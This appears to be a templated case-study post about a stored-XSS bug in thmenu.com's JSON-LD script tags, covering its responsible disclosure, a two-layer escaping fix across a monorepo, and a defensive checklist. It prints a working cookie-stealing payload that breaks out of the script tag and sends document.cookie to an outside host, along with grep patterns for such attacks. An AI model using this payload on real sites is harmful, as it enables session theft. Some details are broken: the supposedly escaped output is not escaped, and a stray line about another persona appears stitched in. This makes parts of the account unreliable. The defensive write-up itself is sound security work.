I found a stored-XSS on thmenu.com discover page — JSON-LD escape gap (PR #635 III F1)
Hannah (32) runs one-person SEO consultancy out of Berlin Mitte, part-time bug-bounty hunter (@hannahbits). Friday morning 90 minutes into 3-hour SEO audit for 4-generation Torstrasse bakery client. Chrome DevTools open. thmenu.com/en/discover/<bakery_slug>. Console: **Uncaught SyntaxError: Unexpected token "<"**. JSON-LD broken. View Source: <script type="application/ld+json"> contained raw unescaped & + < characters. "No HTML escape? Could be stored-XSS sink." Set up Test Restaurant on her own thMenu Pro account, Description: `Lorem ipsum </script><script>fetch("//hannahbits.com/xss?c="+document.cookie)</script> dolor sit amet.` Save + 5-10min edge cache invalidate + thmenu.com/en/discover/test-restaurant navigate. Browser outbound to hannahbits.com/xss?c=... showed in her audit log — **document.cookie exfiltrated**. Stored-XSS confirmed. Hannah responsible disclosure security@thmenu.com. Engineering forensic: helper exists? Yes — apps/web-menu/src/lib/sanitize.ts:escapeJsonForScriptTag() shipped in PR #565 batch TT F1. Rewrites < / > / & / U+2028 / U+2029 to \uXXXX JSON-escape form; 11 wrapped sites in web-menu. Why not in web-landing? grep -rn "dangerouslySetInnerHTML.*JSON.stringify" apps/web-landing → 8 results (discover, blog, vs, authors, faq, help, layout, synaltix). All raw JSON.stringify, no escapeJsonForScriptTag. Helper sweep incomplete. PR #565 only applied to web-menu (web-menu uses CSP nonce-..., web-landing uses "unsafe-inline" for SEO crawler compatibility — meaning web-landing has no CSP-level defense and the escape helper is MANDATORY). **PR #635 batch III F1** 2-layer fix: **Layer 1 new helper file**: apps/web-landing/src/lib/sanitize.ts mirror of web-menu helper; U+2028/U+2029 regex patterns written in \uXXXX form (TS parser source-line literal terminator issue). **Layer 2 wrap 8 JSON-LD render sites**: dangerouslySetInnerHTML={{ __html: escapeJsonForScriptTag(JSON.stringify(schema)) }} per site. Deployed same day. Hannah s PoC re-tested — </script><script>fetch(...)</script> now escaped to </script></script>; browser script-tag breakout impossible. Pre-fix 90-day edge cache + Workers Analytics audit: grep for document.cookie / </script><script> / fetch(cross-origin) / eval — **0 prior exploits**. Hannah was first to discover, responsibly disclosed. **CRITICAL severity + €750 Wise transfer + Hall of Fame + 1-year unlimited Pro tier**. Cansu Gaziantep version with same flow + 4-generation Antep baklavaci client. Pattern: **when defense-in-depth helpers (escape, sanitize, normalize) ship in one app of a monorepo, every other app must be swept for the same pattern. Apps that don t apply the helper become unexpected attack surface — especially if single-point-of-defense control (CSP) isn t active in that app.** Implementation checklist: (1) sweep every app in monorepo when new helper lands; (2) place helper in packages/shared-types single source of truth; (3) if CSP profiles differ more-permissive app MUST use the helper; (4) ESLint rule warn on dangerouslySetInnerHTML.*JSON.stringify without helper; (5) quarterly grep audit; (6) penetration test coverage every public CDN-served page tested with XSS payloads.